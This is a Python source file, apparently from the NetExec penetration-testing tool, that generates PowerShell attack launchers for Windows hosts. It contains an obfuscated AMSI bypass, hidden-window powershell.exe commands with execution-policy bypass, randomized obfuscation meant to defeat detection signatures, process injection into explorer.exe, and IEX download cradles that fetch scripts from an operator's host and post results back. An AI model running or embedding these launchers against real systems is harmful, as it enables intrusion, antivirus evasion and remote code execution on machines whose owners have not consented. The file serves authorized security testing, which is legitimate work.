NetExec/nxc/helpers/powershell.py

437 lines
20 KiB
Python

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import re
from sys import exit
from string import ascii_lowercase
from random import choice, sample
from subprocess import call
from nxc.helpers.misc import which
from nxc.logger import nxc_logger
from nxc.paths import nxc_PATH, DATA_PATH
from base64 import b64encode
obfuscate_ps_scripts = False
def get_ps_script(path):
return os.path.join(DATA_PATH, path)
def encode_ps_command(command):
return b64encode(command.encode("UTF-16LE")).decode()
def is_powershell_installed():
if which("powershell"):
return True
return False
def obfs_ps_script(path_to_script):
ps_script = path_to_script.split("/")[-1]
obfs_script_dir = os.path.join(nxc_PATH, "obfuscated_scripts")
obfs_ps_script = os.path.join(obfs_script_dir, ps_script)
if is_powershell_installed() and obfuscate_ps_scripts:
if os.path.exists(obfs_ps_script):
nxc_logger.display("Using cached obfuscated Powershell script")
with open(obfs_ps_script, "r") as script:
return script.read()
nxc_logger.display("Performing one-time script obfuscation, go look at some memes cause this can take a bit...")
invoke_obfs_command = f"powershell -C 'Import-Module {get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1')};Invoke-Obfuscation -ScriptPath {get_ps_script(path_to_script)} -Command \"TOKEN,ALL,1,OUT {obfs_ps_script}\" -Quiet'"
nxc_logger.debug(invoke_obfs_command)
with open(os.devnull, "w") as devnull:
return_code = call(invoke_obfs_command, stdout=devnull, stderr=devnull, shell=True)
nxc_logger.success("Script obfuscated successfully")
with open(obfs_ps_script, "r") as script:
return script.read()
else:
with open(get_ps_script(path_to_script), "r") as script:
"""
Strip block comments, line comments, empty lines, verbose statements,
and debug statements from a PowerShell source file.
"""
# strip block comments
stripped_code = re.sub(re.compile("<#.*?#>", re.DOTALL), "", script.read())
# strip blank lines, lines starting with #, and verbose/debug statements
stripped_code = "\n".join([line for line in stripped_code.split("\n") if ((line.strip() != "") and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))])
return stripped_code
def create_ps_command(ps_command, force_ps32=False, dont_obfs=False, custom_amsi=None):
if custom_amsi:
with open(custom_amsi) as file_in:
lines = []
for line in file_in:
lines.append(line)
amsi_bypass = "".join(lines)
else:
amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
try{
[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true)
}catch{}
"""
if force_ps32:
command = (
amsi_bypass
+ """
$functions = {{
function Command-ToExecute
{{
{command}
}}
}}
if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')
{{
$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32
$job | Wait-Job
}}
else
{{
IEX "$functions"
Command-ToExecute
}}
""".format(
command=amsi_bypass + ps_command
)
)
else:
command = amsi_bypass + ps_command
nxc_logger.debug("Generated PS command:\n {}\n".format(command))
# We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed
# concurrently it would spawn a local powershell process per host which isn't ideal, until I figure out a good way
# of dealing with this it will use the partial python implementation that I stole from GreatSCT
# (https://github.com/GreatSCT/GreatSCT) <3
"""
if is_powershell_installed():
temp = tempfile.NamedTemporaryFile(prefix='nxc_',
suffix='.ps1',
dir='/tmp')
temp.write(command)
temp.read()
encoding_types = [1,2,3,4,5,6]
while True:
encoding = random.choice(encoding_types)
invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "ENCODING,{}" -Quiet\''.format(get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'),
temp.name,
encoding)
nxc_logger.debug(invoke_obfs_command)
out = check_output(invoke_obfs_command, shell=True).split('\n')[4].strip()
command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "{}"'.format(out)
nxc_logger.debug('Command length: {}'.format(len(command)))
if len(command) <= 8192:
temp.close()
break
encoding_types.remove(encoding)
else:
"""
if not dont_obfs:
obfs_attempts = 0
while True:
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{invoke_obfuscation(command)}"'
if len(command) <= 8191:
break
if obfs_attempts == 4:
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
exit(1)
obfs_attempts += 1
else:
command = f"powershell.exe -noni -nop -w 1 -enc {encode_ps_command(command)}"
if len(command) > 8191:
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
exit(1)
return command
def gen_ps_inject(command, context=None, procname="explorer.exe", inject_once=False):
# The following code gives us some control over where and how Invoke-PSInject does its thang
# It prioritizes injecting into a process of the active console session
ps_code = """
$injected = $False
$inject_once = {inject_once}
$command = "{command}"
$owners = @{{}}
$console_login = gwmi win32_computersystem | select -exp Username
gwmi win32_process | where {{$_.Name.ToLower() -eq '{procname}'.ToLower()}} | % {{
if ($_.getowner().domain -and $_.getowner().user){{
$owners[$_.getowner().domain + "\\" + $_.getowner().user] = $_.handle
}}
}}
try {{
if ($owners.ContainsKey($console_login)){{
Invoke-PSInject -ProcId $owners.Get_Item($console_login) -PoshCode $command
$injected = $True
$owners.Remove($console_login)
}}
}}
catch {{}}
if (($injected -eq $False) -or ($inject_once -eq $False)){{
foreach ($owner in $owners.Values) {{
try {{
Invoke-PSInject -ProcId $owner -PoshCode $command
}}
catch {{}}
}}
}}
""".format(
inject_once="$True" if inject_once else "$False",
command=encode_ps_command(command),
procname=procname,
)
if context:
return gen_ps_iex_cradle(context, "Invoke-PSInject.ps1", ps_code, post_back=False)
return ps_code
def gen_ps_iex_cradle(context, scripts, command=str(), post_back=True):
if type(scripts) is str:
launcher = """
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}}
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{ps_script_name}')
{command}
""".format(
server=context.server,
port=context.server_port,
addr=context.localip,
ps_script_name=scripts,
command=command if post_back is False else "",
).strip()
elif type(scripts) is list:
launcher = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\n"
launcher += "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'"
for script in scripts:
launcher += "IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{script}')\n".format(
server=context.server,
port=context.server_port,
addr=context.localip,
script=script,
)
launcher.strip()
launcher += command if post_back is False else ""
if post_back is True:
launcher += """
$cmd = {command}
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/')
$request.Method = 'POST'
$request.ContentType = 'application/x-www-form-urlencoded'
$bytes = [System.Text.Encoding]::ASCII.GetBytes($cmd)
$request.ContentLength = $bytes.Length
$requestStream = $request.GetRequestStream()
$requestStream.Write($bytes, 0, $bytes.Length)
$requestStream.Close()
$request.GetResponse()""".format(
server=context.server,
port=context.server_port,
addr=context.localip,
command=command,
)
nxc_logger.debug(f"Generated PS IEX Launcher:\n {launcher}\n")
return launcher.strip()
# Following was stolen from https://raw.githubusercontent.com/GreatSCT/GreatSCT/templates/invokeObfuscation.py
def invoke_obfuscation(script_string):
# Add letters a-z with random case to $RandomDelimiters.
alphabet = "".join(choice([i.upper(), i]) for i in ascii_lowercase)
# Create list of random delimiters called random_delimiters.
# Avoid using . * ' " [ ] ( ) etc. as delimiters as these will cause problems in the -Split command syntax.
random_delimiters = [
"_",
"-",
",",
"{",
"}",
"~",
"!",
"@",
"%",
"&",
"<",
">",
";",
":",
]
for i in alphabet:
random_delimiters.append(i)
# Only use a subset of current delimiters to randomize what you see in every iteration of this script's output.
random_delimiters = [choice(random_delimiters) for _ in range(int(len(random_delimiters) / 4))]
# Convert $ScriptString to delimited ASCII values in [Char] array separated by random delimiter from defined list $RandomDelimiters.
delimited_encoded_array = ""
for char in script_string:
delimited_encoded_array += str(ord(char)) + choice(random_delimiters)
# Remove trailing delimiter from $DelimitedEncodedArray.
delimited_encoded_array = delimited_encoded_array[:-1]
# Create printable version of $RandomDelimiters in random order to be used by final command.
test = sample(random_delimiters, len(random_delimiters))
random_delimiters_to_print = "".join(i for i in test)
# Generate random case versions for necessary operations.
for_each_object = choice(["ForEach", "ForEach-Object", "%"])
str_join = "".join(choice([i.upper(), i.lower()]) for i in "[String]::Join")
str_str = "".join(choice([i.upper(), i.lower()]) for i in "[String]")
join = "".join(choice([i.upper(), i.lower()]) for i in "-Join")
char_str = "".join(choice([i.upper(), i.lower()]) for i in "Char")
integer = "".join(choice([i.upper(), i.lower()]) for i in "Int")
for_each_object = "".join(choice([i.upper(), i.lower()]) for i in for_each_object)
# Create printable version of $RandomDelimiters in random order to be used by final command specifically for -Split syntax
random_delimiters_to_print_for_dash_split = ""
for delim in random_delimiters:
# Random case 'split' string.
split = "".join(choice([i.upper(), i.lower()]) for i in "Split")
random_delimiters_to_print_for_dash_split += "-" + split + choice(["", " "]) + "'" + delim + "'" + choice(["", " "])
random_delimiters_to_print_for_dash_split = random_delimiters_to_print_for_dash_split.strip("\t\n\r")
# Randomly select between various conversion syntax options.
random_conversion_syntax = [
"[" + char_str + "]" + choice(["", " "]) + "[" + integer + "]" + choice(["", " "]) + "$_",
"[" + integer + "]" + choice(["", " "]) + "$_" + choice(["", " "]) + choice(["-as", "-As", "-aS", "-AS"]) + choice(["", " "]) + "[" + char_str + "]",
]
random_conversion_syntax = choice(random_conversion_syntax)
# Create array syntax for encoded scriptString as alternative to .Split/-Split syntax.
encoded_array = ""
for char in script_string:
encoded_array += str(ord(char)) + choice(["", " "]) + "," + choice(["", " "])
# Remove trailing comma from encoded_array
encoded_array = "(" + choice(["", " "]) + encoded_array.rstrip().rstrip(",") + ")"
# Generate random syntax to create/set OFS variable ($OFS is the Output Field Separator automatic variable).
# Using Set-Item and Set-Variable/SV/SET syntax. Not using New-Item in case OFS variable already exists.
# If the OFS variable did exist then we could use even more syntax:
# $varname, Set-Variable/SV, Set-Item/SET, Get-Variable/GV/Variable, Get-ChildItem/GCI/ChildItem/Dir/Ls
# For more info:
# https://msdn.microsoft.com/en-us/powershell/reference/5.1/microsoft.powershell.core/about/about_automatic_variables
set_ofs_var_syntax = [
"Set-Item" + choice([" " * 1, " " * 2]) + "'Variable:OFS'" + choice([" " * 1, " " * 2]) + "''",
choice(["Set-Variable", "SV", "SET"]) + choice([" " * 1, " " * 2]) + "'OFS'" + choice([" " * 1, " " * 2]) + "''",
]
set_ofs_var = choice(set_ofs_var_syntax)
set_ofs_var_back_syntax = [
"Set-Item" + choice([" " * 1, " " * 2]) + "'Variable:OFS'" + choice([" " * 1, " " * 2]) + "' '",
"Set-Item" + choice([" " * 1, " " * 2]) + "'Variable:OFS'" + choice([" " * 1, " " * 2]) + "' '",
]
set_ofs_var_back = choice(set_ofs_var_back_syntax)
# Randomize case of $SetOfsVar and $SetOfsVarBack.
set_ofs_var = "".join(choice([i.upper(), i.lower()]) for i in set_ofs_var)
set_ofs_var_back = "".join(choice([i.upper(), i.lower()]) for i in set_ofs_var_back)
# Generate the code that will decrypt and execute the payload and randomly select one.
baseScriptArray = [
"[" + char_str + "[]" + "]" + choice(["", " "]) + encoded_array,
"(" + choice(["", " "]) + "'" + delimited_encoded_array + "'." + split + "(" + choice(["", " "]) + "'" + random_delimiters_to_print + "'" + choice(["", " "]) + ")" + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")",
"(" + choice(["", " "]) + "'" + delimited_encoded_array + "'" + choice(["", " "]) + random_delimiters_to_print_for_dash_split + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")",
"(" + choice(["", " "]) + encoded_array + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")",
]
# Generate random JOIN syntax for all above options
new_script_array = [
choice(baseScriptArray) + choice(["", " "]) + join + choice(["", " "]) + "''",
join + choice(["", " "]) + choice(baseScriptArray),
str_join + "(" + choice(["", " "]) + "''" + choice(["", " "]) + "," + choice(["", " "]) + choice(baseScriptArray) + choice(["", " "]) + ")",
'"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var + choice(["", " "]) + ")" + choice(["", " "]) + '"' + choice(["", " "]) + "+" + choice(["", " "]) + str_str + choice(baseScriptArray) + choice(["", " "]) + "+" + '"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var_back + choice(["", " "]) + ")" + choice(["", " "]) + '"',
]
# Randomly select one of the above commands.
newScript = choice(new_script_array)
# Generate random invoke operation syntax
# Below code block is a copy from Out-ObfuscatedStringCommand.ps1
# It is copied into this encoding function so that this will remain a standalone script without dependencies
invoke_expression_syntax = [choice(["IEX", "Invoke-Expression"])]
# Added below slightly-randomized obfuscated ways to form the string 'iex' and then invoke it with . or &.
# Though far from fully built out, these are included to highlight how IEX/Invoke-Expression is a great indicator,
# but not a silver bullet
# These methods draw on common environment variable values and PowerShell Automatic Variable
# values/methods/members/properties/etc.
invocationOperator = choice([".", "&"]) + choice(["", " "])
invoke_expression_syntax.append(invocationOperator + "( $ShellId[1]+$ShellId[13]+'x')")
invoke_expression_syntax.append(invocationOperator + "( $PSHome[" + choice(["4", "21"]) + "]+$PSHOME[" + choice(["30", "34"]) + "]+'x')")
invoke_expression_syntax.append(invocationOperator + "( $env:Public[13]+$env:Public[5]+'x')")
invoke_expression_syntax.append(invocationOperator + "( $env:ComSpec[4," + choice(["15", "24", "26"]) + ",25]-Join'')")
invoke_expression_syntax.append(invocationOperator + "((" + choice(["Get-Variable", "GV", "Variable"]) + " '*mdr*').Name[3,11,2]-Join'')")
invoke_expression_syntax.append(invocationOperator + "( " + choice(["$VerbosePreference.ToString()", "([String]$VerbosePreference)"]) + "[1,3]+'x'-Join'')")
# Randomly choose from above invoke operation syntaxes.
invokeExpression = choice(invoke_expression_syntax)
# Randomize the case of selected invoke operation.
invokeExpression = "".join(choice([i.upper(), i.lower()]) for i in invokeExpression)
# Choose random Invoke-Expression/IEX syntax and ordering: IEX ($ScriptString) or ($ScriptString | IEX)
invokeOptions = [
choice(["", " "]) + invokeExpression + choice(["", " "]) + "(" + choice(["", " "]) + newScript + choice(["", " "]) + ")" + choice(["", " "]),
choice(["", " "]) + newScript + choice(["", " "]) + "|" + choice(["", " "]) + invokeExpression,
]
obfuscated_payload = choice(invokeOptions)
"""
# Array to store all selected PowerShell execution flags.
powerShellFlags = []
noProfile = '-nop'
nonInteractive = '-noni'
windowStyle = '-w'
# Build the PowerShell execution flags by randomly selecting execution flags substrings and randomizing the order.
# This is to prevent Blue Team from placing false hope in simple signatures for common substrings of these execution flags.
commandlineOptions = []
commandlineOptions.append(noProfile[0:randrange(4, len(noProfile) + 1, 1)])
commandlineOptions.append(nonInteractive[0:randrange(5, len(nonInteractive) + 1, 1)])
# Randomly decide to write WindowStyle value with flag substring or integer value.
commandlineOptions.append(''.join(windowStyle[0:randrange(2, len(windowStyle) + 1, 1)] + choice([' '*1, ' '*2, ' '*3]) + choice(['1','h','hi','hid','hidd','hidde'])))
# Randomize the case of all command-line arguments.
for count, option in enumerate(commandlineOptions):
commandlineOptions[count] = ''.join(choice([i.upper(), i.lower()]) for i in option)
for count, option in enumerate(commandlineOptions):
commandlineOptions[count] = ''.join(option)
commandlineOptions = sample(commandlineOptions, len(commandlineOptions))
commandlineOptions = ''.join(i + choice([' '*1, ' '*2, ' '*3]) for i in commandlineOptions)
obfuscatedPayload = 'powershell.exe ' + commandlineOptions + newScript
"""
return obfuscated_payload